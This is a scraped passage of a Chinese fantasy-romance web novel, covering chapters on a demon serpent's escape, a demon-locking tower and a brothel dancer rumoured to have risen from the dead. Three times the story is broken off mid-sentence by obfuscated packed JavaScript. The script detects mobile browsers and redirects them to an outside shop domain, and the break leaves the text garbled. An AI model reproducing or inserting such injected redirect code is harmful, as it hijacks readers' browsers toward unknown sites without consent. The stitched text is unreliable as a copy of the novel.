蛮甲干脆地承认了自己的罪行,“将那个姓钱的杀死后,他的血成为了我摆脱封印的钥匙,但一个人的血是远远不够的。我本想着在此地继续修炼一段时间,直到自己能够有力量挣脱出去。但我没想到,第二个人就这样送上门来了。” 唐亦景眯起眼睛,“你是说……钱显孝。” “那个姓钱的不肯对自己的儿子袒露所有事情,他儿子只知道祠堂内藏有令钱家世代富裕的宝物,却不知道那宝物究竟是什么。现在他老子死了,他便独自到祠堂中来寻宝物的下落。”蛮甲露出一边的獠牙,看起来好像是露出了一个诡异的笑容。 “直到他的脑袋被我吃掉的时候,他都不知道我是什么,也不知道他家的祠堂内怎么会有我这么一个怪物。”说完,蛮甲仰起头大笑起来。 但他的笑声并没有持续多久,因为下一霎唐亦景便忽然抬起了他的左手,蛮甲身上缠缚住的千万条金丝瞬间勒住了它的皮肉。 从蛮甲的话中,朱妙仪能够听出它直到现在都并无半分悔改之意,朱妙仪明白即便重来一次,这条蛮甲也会做同样的事情。但不知为什么,朱妙仪无法做到憎恨这条蛮甲,看着这条蛮甲在唐亦景的控制下痛苦挣扎的样子,朱妙仪无法心安理得地接受它的死亡。 “接引大人……我并非是有意害人……而是……不得已而为之啊……” 唐亦景一双眸子冷冷地看着这条蛮甲缠绕着柱子倍感煎熬的样子,手上的动作并没有动摇分毫。 “大人……若被封印在此的……是那只朱雀……您还会……怪罪于她吗……” 唐亦景面露凶光,“你敢威胁我?” 蛮甲自知大限将近,忽然挣扎着笑道:“你作为妖界接引……却不分青红皂白维护人族……迟早你会在贪婪的人族身上得到报应……” “你!”唐亦景眉毛一竖,左手便要攥紧。然而就在这千钧一发之际,忽然被朱妙仪的声音制止住了。 “亦景哥哥!” 唐亦景猛然回头。 朱妙仪的神情是前所未有的慌张,“亦景哥哥,雀儿姐姐的体温越来越低了。” 朱妙仪自刚才起便一直紧紧攥着晴朝的手,却在刚才忽然发觉自己手心的温度逐渐变得冰凉。 唐亦景也是心头一惊,急忙走了过来。 “怎么会这样……” 那蛮甲侥幸捡回一命,同样气若游丝地说道:“这只朱雀三魂七魄不齐,你直接封闭住她的魂魄,会使她的魂魄离体的。” “什么!”朱妙仪赶紧看向唐亦景,“亦景哥哥,我要立刻带着雀儿姐姐离开这里。” 唐亦景一愣,然而就在他迟疑的一瞬间,一阵大风忽然自地下呼啸而上。 等到唐亦景终于能够看清眼前的事物时,却见那条蛮甲已经挣脱开了那根柱子,整条身子盘旋在空中。 颜琅同样看到了这一幕,“这是怎么回事!” 唐亦景眉头紧皱,“晴朝的血给了它力量,这条蛮甲已经冲破封印了。” 朱妙仪紧盯着这条重获自由的蛮甲,它的身躯在空中是那么舒展而又自由,恍惚间仿佛真的已经有了龙的模样。 下一霎,这条蛮甲忽然朝着朱妙仪冲了过来。 唐亦景和颜琅此刻都被那阵风吹得动弹不得,因此在看到那条蛮甲朝朱妙仪冲过去的时候皆是一惊。唐亦景最先反应过来试图操纵蛮甲身上的丝线,却发现这阵大风竟然已经将那条蛮甲身上的丝线吹得七零八落了。 “妙仪!” 朱妙仪毫不犹豫地伏在了晴朝身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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朱云窈顿了顿,接着说道:“我知道你想要为你祖父和父兄伸冤,想要为朱家人讨回公道。但是孩子,这不应当是你该做的事情。” 朱妙仪将手抽了回去。 “姑母,我不明白您在说什么。” 这一次朱云窈好像没有听出朱妙仪语气中的不善,她接着说道:“妙仪,你只是个女孩,又有婚约在身,为什么不直接跟着颜公子回京城去呢?朱家的案子自有官府负责查办,你一个女孩子东奔西走,实在不成体统。” “钱夫人,也许在您眼中,成婚是女子在这个世道唯一的归宿。”朱妙仪往后退了一步,“但于我而言,没有什么比找出杀害我家人凶手更重要的事情了。” 说完,朱妙仪转身向外走去。 “你认为他们是你的家人,那我问你,他们可曾有一瞬间将你当做一家人过?” 朱妙仪脚步一滞。 朱云窈并没有追上来,而是站在原地说道:“你不要以为你祖父给你看了几本书便是将你当做自己人了!你别忘了,对于朱家来说,女儿永远都是外人。” 朱妙仪不再迟疑,走出了那个院子。 23. 第 23 章 离开钱家后,一行人兵分两路,颜琅自己带着行李坐马车返回朱家,而朱妙仪则跟着唐亦景带晴朝返回员峤山。 晴朝直到现在还处于昏迷不醒的状态,唐亦景抱着她的时候,就像是抱着一具没有知觉的木偶。朱妙仪心中很是难过,却也只能握着晴朝的手聊表安慰。 返回员峤山的路上,朱妙仪忽然看到了一座高耸的宝塔。 “那是什么?” 唐亦景循着朱妙仪的视线看过去,解释道:“那就是锁妖塔。” “锁妖塔?”朱妙仪本以为传说中的锁妖塔外观会有些恐怖,没想到这样看来便只是一座普通宝塔的样子,甚至有些像前段时间他们刚刚见过的钱家祠堂。 晴朝的手指忽然动了一下,立刻将朱妙仪的注意力拉了回来。朱妙仪着急地对唐亦景说道:“亦景哥哥,雀儿姐姐的手指动了一下。” 唐亦景低头看向怀中的晴朝,对方还是没有要苏醒的迹象,但有这种手指的动作总归是一件好事。 “坚持住,晴朝。”唐亦景低下头,用额头轻轻贴了贴晴朝的脑袋,“咱们快到家了。” 刚抵达员峤山,朱妙仪便看到几位衣着华丽的男女迎了上来,他们身上皆穿着光鲜亮丽的华服,女子头上都戴着各式各样的羽毛步摇,而男子的头发都由不同样式的羽毛头冠半束着。 此次朱妙仪还发觉,这些人都如同晴朝一样,在额头上有一朵用胭脂所画的羽毛图案,只是羽毛的样子不尽相同。 他们好像已经知道了晴朝受伤的事情,见到唐亦景后立刻有一名男子走上前接过了晴朝,其余人向唐亦景行过礼后,便簇拥着那名抱着晴朝的男子离开了。 唐亦景长长舒了一口气,接着向朱妙仪解释道:“朱雀一族除了能够通过额上的冠羽感知危险,同时还能够通过这朵冠羽接收到族长所发出的讯息。一旦晴朝出现了危险,朱雀一族便会立即开启警戒模式。” 朱妙仪点了点头,“怪不得他们好像已经在此等候多时了。” “接下来咱们要做的便是在此处等待晴朝醒来了。”唐亦景活动了活动这一路来抱着晴朝而有些僵硬的肩膀,看着朱妙仪问道:“妙仪,要不要我带着你在员峤山四处转一转?” “亦景哥哥,我想去看看锁妖塔。” 唐亦景有些惊讶,但随即点了点头。 “好。” 锁妖塔立于一座高山之上,四周皆是郁郁葱葱的群山环绕。唐亦景告诉朱妙仪,这些山峰一年四季皆被绿植所覆盖,为的便是通过这种方式遮蔽住从锁妖塔内逸散出来的强大妖气。 “锁妖塔中关押的皆是十恶不赦的妖兽,他们嗜血残暴又法力高强,即便是我都并非是他们的对手。因此即使他们已经被镇压在锁妖塔之中,强大的妖气仍然有可能会对外界的妖族产生干扰,所以必须要用这些植物将妖气尽可能阻挡住。”唐亦景降下云头,带着朱妙仪来到了锁妖塔周围的土地之上。 朱妙仪并非妖族,自然也感受不到此地有妖气,她只是感觉密林之中常年不见阳光,因此难免有一些阴冷。 “七百年前便是这座锁妖塔出现了裂痕,最终导致雀儿姐姐魂魄不全的吗?” 唐亦景点了点头。 他的脑海中不由自主地回想起七百年前的景象,当时乌云笼罩住了妖界的大半天空,豆大的雨点如小石子一般打在他的身上,逼得他几乎睁不开眼睛。 “当时若不是晴朝与你家先祖出手相助,我真的不知道如今的人妖两界会落得怎样的下场。” 唐亦景缓缓叹了一口气。 只可惜到最后,晴朝身受重伤再无从前强大的法力,朱家被凶徒所害全家被杀,只留下朱妙仪这一条性命。 也就是说,他唐亦景最终,谁都没有护住。 看着眼前由灰白色砖瓦砌成的塔身,朱妙仪只觉得这锁妖塔与人界的建筑实在没什么区别,鬼使神差地伸出手摸上了塔身。 “救命!救命!救救我们!” 朱妙仪仿佛被烫伤般收回了手。 唐亦景这时才发现朱妙仪的举动,赶紧走到朱妙仪身边问道:“怎么了?可是受伤了?” “没有。”朱妙仪低下头愣愣地看着自己刚摸过塔身的手,试图判断刚才从她脑海中一闪而过的声音究竟来自哪里。 “亦景哥哥,难道说触摸这座墙壁便能够听到锁妖塔内妖兽传出来的声音吗?” 唐亦景一愣,摇头说道:“不可能的,这座塔乃是仙界所立,外部虽然看似只是一座寻常的宝塔,但内里却是一个巨大的结界法阵,能够对被封印其中的妖兽进行净化,直至将它们的妖力消耗殆尽。” 听到唐亦景这样说,朱妙仪悬着的心稍微放下了一些。 “妙仪,你怎么会突然这样讲呢?” 朱妙仪捏着自己的手笑了笑,“大约是我这几日有些疲惫,出现了幻听,亦景哥哥不必在意我。” 接连几日奔波劳顿,朱妙仪又只是一个小姑娘,唐亦景也有些担心她的身体情况,便决定直接带着朱妙仪一同返回员峤山继续等待晴朝康复。 谁知刚返回员峤山,便看见一个女子迎上前来对唐亦景行了个礼。 “接引大人,族长刚刚已经苏醒了。” “真的吗?”唐亦景面露喜色,抬腿便想往山内走去。 “接引大人留步。”那女子伸出一只手挡在了唐亦景面前,“族长特意嘱咐,让晚辈请朱二娘子先进去,接引大人还请在此处继续等待。” 唐亦景脚步一滞,眉头微皱,半晌缓缓转过身来看着那女子问道:“你族长这样讲可说过原因了吗?她是不是……不肯原谅我?” 朱妙仪也没想到晴朝为什么会不肯见唐亦景,她赶紧走到那女子身前说道:“姐姐,雀儿姐姐是不是对亦景哥哥有什么误会啊?我可以替亦景哥哥做担保,他真的很担心雀儿姐姐的。” 那女子似是没明白唐亦景与朱妙仪为什么会对晴朝这样的安排反应如此激烈,她眨了眨眼睛解释道:“族长之所以让接引大人在此稍候,是因为她现在还浸泡于瘳池中养伤,无法面见接引大人。不过接引大人也不必太过焦急,瘳池水对于朱雀一族来说是最好的疗愈圣器,族长很快定会身体痊愈的。” 唐亦景这才意识到自己误解了晴朝的意思,由于有些尴尬,他机械地转过身看向朱妙仪,尽量若无其事地说道:“妙仪,那你跟着她进去吧。” 朱妙仪点了点头,赶紧跟着那女子走进了山中。 这一次她们并未前往晴朝所居住的宫殿,而是沿山路来到了一座古色古香的别院之中。跟着那女子走进院中,只见一泓泉水顺山势而下,到院内逐渐积攒成一汪清澈的池水。 晴朝本来正趴在岸边闭目养神,听到脚步声逐渐走近,立刻睁开眼看向这边,对着朱妙仪挥了挥手。 朱妙仪终于又看到了这样活泼的晴朝,面上露出笑容的同时,眼眶中又忍不住落下两滴泪来。 “傻孩子,你哭什么?”晴朝伸出手温柔地拭去朱妙仪脸颊上的泪痕,“我这不是已经好了吗?” 朱妙仪点了点头,轻声解释道:“雀儿姐姐,你吓死我了。” 晴朝笑着摸了摸朱妙仪的脸蛋,趴在岸边继续说道:“好了,现在你就赶紧把钱家究竟是怎么一回事告诉我吧。我刚才醒过来的时候发现自己竟然已经回到了员峤山,可着实把我急坏了。” 朱妙仪知道晴朝是不愿意错过了热闹,就将蛮甲被钱员外封印在钱家祠堂中的事情告诉了晴朝。 “只可惜最后还是让那条蛮甲逃走了。”朱妙仪歪着脑袋说道:“雀儿姐姐你没看到,当时可真是把亦景哥哥气坏了。” “说到底还是那钱员外贪得无厌、阴狠歹毒,所以最终才落得个自寻死路的下场。”晴朝轻嗤了一声, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241773|197765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “至于这蛮甲,既然它能够逃脱唐亦景的拂尘控制,便说明它的修炼已经达到了一定境界。等到了时候天劫自然会去寻它的,不必咱们动手。” 朱妙仪似懂非懂地点了点头。 “真没想到,钱家的案子最终竟然会如此复杂。”晴朝开口感慨道:“只可惜,这案子恐怕与朱家的案子并无联系。妙仪,你会失望吗?” 朱妙仪轻轻摇头,“这世上并非只有我朱家一家是苦主,只要能够帮到别人,我们的所作所为便是有意义的。” 晴朝很高兴能够听到朱妙仪这样讲,欣慰地抬起手摸了摸朱妙仪的脑袋。 “雀儿姐姐,自你昏倒之后亦景哥哥一直很担心你。”朱妙仪想到刚才看到唐亦景脸上露出的那个落寞神情,“亦景哥哥好像很担心你会怪罪他。” 晴朝轻轻哼了一声,“他大约是害怕我将这次的责任也怪罪到他头上去吧,毕竟七百年前也是他带着我陷入险境之中的。” 朱妙仪小心翼翼地开口询问道:“那雀儿姐姐,你真的怪亦景哥哥吗?” 晴朝看向朱妙仪,半晌露出一个笑容。 “时至今日我所为的一切皆是为了自己问心无愧,又为何要怪罪于他呢?” 朱妙仪听到晴朝这样说,轻轻地拉住了晴朝的手。现在晴朝的手已经又恢复了正常的温度,朱妙仪牵着那只手,仿佛能感觉到那股温热沿着自己的胳膊流入了自己的身体中。 朱妙仪与唐亦景在员峤山停留了一日,这瘳池水也果真是朱雀一族疗愈身体的宝物,待到第二日上午时晴朝的身体情况已经稳定了下来。 唐亦景本想让晴朝留在员峤山休养,但晴朝坚持自己一定会信守承诺帮助朱妙仪找到凶手,因此三人最终又一同回到了无妖县。 回到无妖县后,晴朝想做的第一件事便是去浔阳楼好好犒劳自己一番。唐亦景知道这次晴朝确实是吃了苦头,便主动提出叫上颜琅,他们一行人前往浔阳楼好好吃一顿。 “亦景哥哥的好意我心领了,只是这次离开朱府已经有一段时间了,虽说表哥先行一步回了府中,但我还是不太放心府里的情况。”朱妙仪笑着叉手对唐亦景与晴朝行礼,“还请亦景哥哥代我好好招待雀儿姐姐,我先回府了。” 朱妙仪离开后,唐亦景与晴朝继续往浔阳楼走去,一路上二人皆是一言不发。 其实自从晴朝苏醒过来之后,唐亦景与她的话便一直很少,除了在员峤山唐亦景要晴朝留在山里休息之外。此时朱妙仪已经将晴朝晕倒后唐亦景十分紧张的样子告知了晴朝,但对于现在的晴朝来说,她甚至要怀疑现在的唐亦景与当时的唐亦景是不是有一个被夺舍了。 因为目前来看,他们实在是判若两人。 “唐亦景,你是不是很不想让我跟着你们回来啊?” 唐亦景一愣,开口说道:“没有啊。” “没有你这一整天都板着个脸干什么?”晴朝一步挡住了唐亦景的去路,叉着腰问道:“不知道的还以为我欠你钱了呢。” 唐亦景这个情况自然是有原因的,只是他虽然知道晴朝是个横冲直撞的性子,却没想到对方不仅横冲直撞,还向来都是有话直说的。 “没有,没有,我只是……”唐亦景本想搪塞过去了事,但对面的晴朝却是步步紧逼,就差把脑袋直接凑到唐亦景脸上来了。 唐亦景被晴朝的动作弄乱了阵脚,接连躲闪几次后,终于忍不住用手抓住了晴朝的肩膀。 “晴朝!” 晴朝知道自己这是把唐亦景逼急了,不再贴近唐亦景后站在了原地,只是一双眸子还紧紧地盯着唐亦景。 唐亦景看晴朝这架势,便知道她是不等到自己开口不肯善罢甘休了。 半晌,唐亦景轻轻叹了口气,“晴朝,我担心自己会再次连累你。” 晴朝神情一滞,这才想明白唐亦景所说的连累是什么意思。 24. 第 24 章 “那日在钱家祠堂中,我本以为封闭住你的魂魄便已经足够,若不是妙仪及时发现了你的变化,后果真的是不堪设想。”唐亦景别过头,“你知道你现在仅剩下一魂一魄是什么意思吗?这意味着你的魂魄一旦受损或者离体,便再也没有补救的可能了。” 听了唐亦景的话,晴朝肩膀耸了耸,一副满不在乎的样子说道:“我知道啊,我不怕。” “可是我怕。” 唐亦景看向晴朝的眼睛。 “你本来就是为了帮我才变成现在这样的,如果现在你再因为我受到任何一点伤害,你教我怎么对得起你?” 就在这刹那间,晴朝透过唐亦景的一双眸子——第一次越过那片乌黑的海洋后,好像看到一点微弱的星光。 “没关系,我就要你对不起我。” 唐亦景眉头一皱。 晴朝歪着脑袋看向唐亦景,脸上绽放出一个大大的笑容。 “因为只有这样,我才能心安理得地把你的钱都花光。” 说完,晴朝大踏步的向前走去。 唐亦景愣了一下,接着摇了摇头露出一个无奈的笑容,也快步跟了上去。 此时已经到了申时,这本应该是浔阳楼客人最多的时候,然而当晴朝一步迈进大堂的时候,却发现内里只有寥寥几位客人。 “这……是什么情况?” 瑾娘本正惫懒地倚在柜台,听到声音后向门口一望,立即伸手示意准备走上前招呼客人的伙计退下,自己亲自从柜台后走了出来。 “唐大人,晴朝姑娘,多日未见,可是回妖界去了?” 唐亦景与晴朝捡了张桌子坐下,看见瑾娘走过来,晴朝立即询问道:“瑾娘,你们浔阳楼这是怎么了?这都什么时候了才只有这点客人,难道是你的法术不管用了?” 瑾娘瞥了晴朝一眼,假装没有听懂对方哪壶不开提哪壶的揶揄。 “是不是我的法术出问题,你自己喝一口不就知道了?”瑾娘这样说着,端起酒壶倒了两杯酒,送到唐亦景与晴朝面前。 晴朝端起酒杯送到嘴边,无忧酿的味道依旧是清冽醇香,一口喝下便犹如看到一股山泉水从青石间倾泻而出。 “酒还是好酒啊。”晴朝放下酒盏,一双眼睛疑惑地上下打量了一圈瑾娘,“我知道了,是不是你们狐狸脾气太差,把客人都得罪光了?” 瑾娘没忍住轻啐一声,“我呸,你一只尖嘴鸟儿,有什么资格说我的脾气差?” 唐亦景也饮了一口酒,发觉确实如同晴朝所说,与从前半分区别都没有。 “瑾娘,这无忧酿的味道与从前确实毫无二致,那这顾客怎么会少了这么多?可是无妖县这阵子出什么事情了吗?” 瑾娘听到唐亦景这么说,顿时如同想起来什么一般,颇有些丧气地吐了口气,接着便给自己拿了个酒盏倒了一杯酒,直接坐在了桌边的长凳上。 “这些顾客还不是被琦陌春坊抢走了呗?那地方最近出了那么大一个热闹,这些人都想着去一探真假,便顾不上来我这浔阳楼了。” “琦陌春坊?”唐亦景轻轻重复一遍这四个字,“这名字听起来,怎么不像是寻常的酒楼?” “唐大人聪明,”瑾娘没忍住笑,眼神悄悄地瞥了晴朝一眼,“琦陌春坊是一座娼楼。” “娼楼?”晴朝顿时来了兴趣,他们朱雀一族天生便向往这世间一切美丽的事物。“好瑾娘,你快跟我讲讲,这琦陌春坊是个什么地方?近来又出什么热闹了?” “这琦陌春坊在无妖县也算是开张有些年头了,只不过前几年的生意一直不温不火。我去他家看过,菜品一般,只是一道名唤翠微春的酒还算有些意思,我也就没将对方放在眼里。谁知从上个月开始,那的生意便忽然火爆起来,竟把我们浔阳楼的不少老顾客都抢走了。” 说到这,瑾娘将手中的酒杯一饮而尽,颇有几分泄愤的意思。 “我本以为是他家厨子突然开了窍,打听之后才知道,那些顾客并非是冲着他家菜品。他家好像有一个很会跳舞的娼女,据说旋转起来的样子能犹如一只蝴蝶围着花朵旋转般轻盈,为他家招揽了不少客人。” “只是为了一个会跳舞的娼女?”晴朝有些疑惑,“这无妖县即便再偏僻,总不至于只有他一家娼楼吧?难道其他家娼楼便没有会转圈的娼女了?” “会转圈的娼女确实不稀奇,但问题是这娼女不只是会转圈。”瑾娘无奈地摇了摇头,“我听说这位娼女乃是死而复生之人,因此才引得这么多人皆趋之若鹜。” “死而复生?”这倒是令晴朝有些意想不到。 “人族没有法力,死了便是死了,连魂魄都不会留在世间。”唐亦景轻轻皱眉,“怎么可能存在死而复生之人?” “这我就不知道了。”瑾娘又给自己倒了一杯酒,“反正这段时间因为这传言闹得,我们浔阳楼都快揭不开锅了。” “瑾娘,你家浔阳楼这么大产业,便别说这没人相信的话了。”晴朝转头看向唐亦景,“唐大人,你的钱袋子可带在身上了?” 唐亦景瞬间便明白了晴朝的意思,虽说心中有些无奈,但还是诚实地点了点头。 “既然如此,那便直接结账吧。”晴朝看向瑾娘,“瑾娘,准备些好酒好菜直接送到朱家,我们要先走了。” “送到朱家?”瑾娘眨眨眼睛,“灶上的锅还热着呢,你们何不干脆等饭菜做好了与我们伙计一同回去?” “不行,那样可就赶不上了。”晴朝已经站起身,“我们必须现在就要走了。” “你们……”瑾娘还是有些错愕。 唐亦景没有说话,而是摸出一块银铤放在桌上。 “我明白了!”瑾娘的眉毛忽然立了起来,“晴朝,你要带着唐大人去琦陌春坊!是也不是!” 晴朝咯咯笑起来,嘴上讨着饶,脚下确实走得飞快。 “好瑾娘,我们只是想去帮你看看对方到底在搞什么鬼罢了。放心,你的客人们很快便会回来的。” “你这只臭鸟儿!”瑾娘一路追到门口,“你看我下次不拔了你的毛!” 待从浔阳楼走出来好远,晴朝仍在笑个不停,唐亦景的袖子被她一路扯在手里,已然是一副皱巴巴的样子了。 “唐亦景,你怎么不笑啊?你不觉得那只狐狸被气得龇牙咧嘴的样子很好笑吗?” “我只在意你能不能把我的袖子还回来。” 晴朝这才意识到自己还扯着唐亦景的袖子,赶紧松开了手。 “对不住对不住,忘了你是个吹毛求疵的人了。”晴朝长呼出一口气。 唐亦景随晴朝一同缓缓向前走着,“你明知道瑾娘恨琦陌春坊抢走她的客人,为何还一定要去呢?” “你刚才没听见瑾娘说话啊?琦陌春坊的翠微春竟然能让瑾娘忍不住夸奖,那必然是一等一的好酒了。”晴朝歪着脑袋说道:“好不容易来了人界,难道你还要日日都喝无忧酿吗?咱们总要尝尝人界的好酒吧。” 这倒是有几分道理。无忧酿纵然好喝,但到底是与妖界的无忧酿一个口味。喝了这成百上千年,就连唐亦景都有些喝腻了。 “好,咱们去琦陌春坊喝酒不打紧,但你这行头却要换一换。”唐亦景伸出手拦在了晴朝跟前,“你现在在人界,总要人乡随俗一些吧。” “哦。”晴朝点了点头,沉思片刻后在原地转了一圈,身上的衣服便立刻换成了一件浅粉色的交领直缀,头上的黑发用发冠盘起,原先发簪上的赤红色翎羽变成了发冠上的绒毛装饰。 “怎么样?” 唐亦景点点头,脸上是怎么也掩不住的笑意。“不仔细看,倒真像个富贵人家的浪荡公子哥。” “我权当你是在夸我了。”晴朝一抬下巴,发冠上的绒毛便跟着轻轻摆动起来,好像也很是得意的样子。 浔阳楼与琦陌春坊相距不远,因此二人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241774|197765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说着话,很快便走到了琦陌春坊门口。 还没走进门,便看见一个伙计满脸堆笑地迎了上来,“客官您几位啊?” “两位。”晴朝率先伸出手指比了比。 “好嘞,二位客官里边请!” 接着,晴朝便听到不知多少个伙计一同喊道:“欢迎二位客官大驾光临!” 走进大堂,此处与浔阳楼确实是全然不同的一方天地。与浔阳楼排列井然有序的桌椅不同,琦陌春坊的大堂中央有一方高台,因此桌椅都是围绕着这块高台转着圈摆放的。越靠近高台的桌椅越精致,其中坐着的客人身上的衣服也更加华美,而远处的桌椅便是普通的木质桌椅。 “二位客官瞧着眼生,想来是第一次来吧?”一个伙计忽然凑了上来,“咱们这的座位分为两个区域,您若只是想要用餐,可以坐在靠后的位置。那地方清净,人也少一些。但您若是想看表演,便最好还是坐在靠前的位置,只是这一片区域有茶位费,一人要一百文。” 晴朝指了指最靠近舞台的那一圈桌椅,“那些位置也是一人一百文吗?” 伙计赶紧说道:“小的知道公子不差钱,只是那些位置都需要提前预定,少说也要提前两日。您今日不巧,这些位置已经都被预定出去了,您看坐在这后面的区域可以吗?” “也行。”晴朝点了点头,伙计立刻领着两个人寻了张空桌椅坐下。 “我们是第一次来,对你们这饭菜也不太了解,你就看着上吧。”晴朝用眼神示意唐亦景,对方立即从袖中摸了一块银铤放在桌上。“不过旁的不要紧,但你们这的翠微春一定要赶紧给我端上一壶来。” 伙计拿了银铤,点头哈腰地说道:“二位客官放心吧,我马上就把酒端过来。” 那伙计离开后,晴朝终于有机会仔细观察起立在大堂中央的那座高台,只见它四周围了一圈矮栏杆,顶上也缀满了各色绸缎,数条彩绸垂落而下,为这座高台添了几分旖旎艳丽的色彩。 一会便是这里会有人登台表演?晴朝刚准备说话,忽然听见一阵掌声雷动,大堂中的客人犹如被点燃一般,气氛也变得更加热闹起来。 伴随着丝竹管乐之声响起,晴朝看见一个女子身着红色舞衣的女子出现在了高台中央。她跟随着鼓点的节拍,先是击掌数下,接着忽然旋身而起,裙摆立刻如盛放的红莲骤然绽开。 一时间,舞台上的女子衣袂翻飞,彩带凌空,既似风中旋舞的流霞,又似踏雪而来的惊鸿。 “怪不得瑾娘说这位娼女很会转圈呢,”晴朝由衷地感叹道:“还真是像一只蝴蝶围绕着花朵转圈的样子一般,着实好看。” “客官,您的酒来了。”伙计将几碟小菜与一壶酒送到了桌上。 就在伙计给他们二人倒酒的工夫,晴朝开口问道:“小二,这姑娘是谁啊?” “公子问的可是正在跳舞的这一位?”伙计笑了笑,“这是昀胭姑娘,她从前可是我们琦陌春坊的花魁娘子呢。” “花魁娘子?” “客官有所不知,小店有一规矩,便是每月能够得到客人赏银最多的姑娘能够成为下个月的花魁娘子。若是成为了花魁娘子,便能够住进小店最高楼层的独立厢房,否则便只能与其他姑娘一同挤在后院的大通铺中。” “还有这种事?”晴朝愣了愣,“这样说来,这些姑娘岂不是都削尖了脑袋想要坐上花魁娘子的宝座?” 伙计笑着说道:“最终也只是为了哄各位客官高兴罢了。” 二人正说着话,高台旁忽然响起一阵喧闹。晴朝循声看去,原来是昀胭刚才那一支舞已经跳完了,而旁边围坐的客人们此时正在争先恐后地将赏银抛向舞台。 看着底下客人热闹的样子,晴朝由衷地感叹道:“这昀胭姑娘还真是受欢迎呢。” 坐在一边的唐亦景忽然发问:“只是既然这位姑娘能够得到这么多赏银,又为什么还是得不到花魁娘子的头衔呢?” 25. 第 25 章 “这是因为我们现在的花魁娘子横波姑娘有一位俊孤老。”伙计一边说着,一边用眼神示意唐亦景与晴朝向前看去,果然看见在众多向昀胭扔赏银的客人当中,有一个年轻的俊俏公子并没有动作,而是仍然气定神闲地坐在原位。 “那一位便是白无弦白公子,他出身官宦世家,出手极为阔绰,每月末不管其他姑娘能得到多少赏银,他都会给横波姑娘补上相应的金额,好保住横波姑娘的花魁娘子之位。” “还有这种事?”晴朝有些诧异,毕竟没人知道这个月其他客人会拿出多少赏银,这位白公子敢这样做,身家便必然不是一句富贵人家能够概括得了。 待伙计离开后,唐亦景与晴朝终于开始认真品尝起杯中的翠微春。 “入口回甘清甜,回味甚至有一股淡淡的茶香,确实是好酒。” 唐亦景一听,也端起酒杯品尝了一口,确实能够感觉到把酒咽下喉咙后,口中还有一股茶叶的芳香。 “这酒的确是与众不同。” 他素来喜欢品茶,这一下倒是收获了意外之喜。 二人说话的工夫,台上的昀胭已经退场,立刻就有伙计走上去将抛上去的赏银收拢起来。不多时,一个身着天缥色长袖褙子的女子袅袅娜娜地走上了舞台。 这个姑娘是上台唱曲的,虽说歌声也是婉转动听,但终究比不得前面的昀胭一舞惊艳。晴朝听不太懂这些咿咿呀呀的曲调,因此目光没一会便从高台上移开,转向了台下。 台下倒也有不少客人认真倾听着,刚才伙计提到的那位白公子倒是听得很认真,眼睛几乎是一眨不眨地看着台上。 最令晴朝意外的是,她竟然还看到了刚下台的昀胭姑娘,就站在二楼栏杆旁静静注视着站在高台之上的女子。 正巧这时,伙计前来上菜,晴朝立刻拉住对方问道:“小二,这又是哪位啊?” “这位?这位就是琦陌春坊现在的花魁娘子,横波姑娘啊。” “这就是横波姑娘?”晴朝有些意外地看着台上浅唱低吟的女子,这样看来对方倒是透着几分温婉贤淑的气质,举手投足间还有些许大家闺秀的风范。 伙计说完,晴朝再次看向坐在高台旁边的白公子,竟然能从对方的眼眸中品出几分痴情的色彩。 “这样看来,那位白公子还挺痴情呢。”晴朝对唐亦景说道:“你看,他一直盯着台上的横波姑娘看。” “公子,不瞒您说,这白公子也是从几个月前刚开始捧横波姑娘的。” 晴朝转头看向伙计,“此话怎讲?” 伙计边说话边摇头,“这白公子大约是两三年前来到我们无妖县居住的,那时候白公子喜欢的并非是横波姑娘,而是我们当时的花魁娘子昀胭姑娘。但后来昀胭姑娘大病了一场,大约有一个多月没有出来,那白公子便忽然又成了横波姑娘的孤老了。” “还有这种事?”晴朝有些诧异,她再次看向二楼栏杆处,却发现本来站在那里的昀胭姑娘不知何时已经离开了。 唐亦景眯起眼睛,开口询问道:“这么说来,我记得你们琦陌春坊还有一位死而复生的姑娘是不是?” 伙计闻言一笑,俨然是习惯了的样子解释道:“公子所说的实则就是昀胭姑娘,只不过什么死而复生,都只不过是客人们的以讹传讹罢了。昀胭姑娘确实休息了一段时间,但她只是在后院不留神摔了一跤,并非是什么大事。” 按照伙计的说法,昀胭就是因为在后院摔的这一跤才会失去花魁娘子的宝座,就连孤老白公子都抛弃了她,去到了横波的身边。 听过伙计解释后,晴朝只觉得啧啧称奇,虽然她知道在娼楼中确实会出现娼女直接爱你争风吃醋的事情,但如今看来这却好像远不止争风吃醋这么简单。 忽然间她的脑中灵光一现,“这样说来,昀胭姑娘会不会憎恨横波姑娘?她会不会日后还要找机会报复横波姑娘啊?” 但伙计看起来并不担心,只是笑一笑说道:“瞧公子说的,都是在一个坊里的姑娘,之间免不了一些竞争。但若说是憎恨、报复什么的,倒是不至于的。” 晴朝点了点头,权当是信了这伙计所说的话。 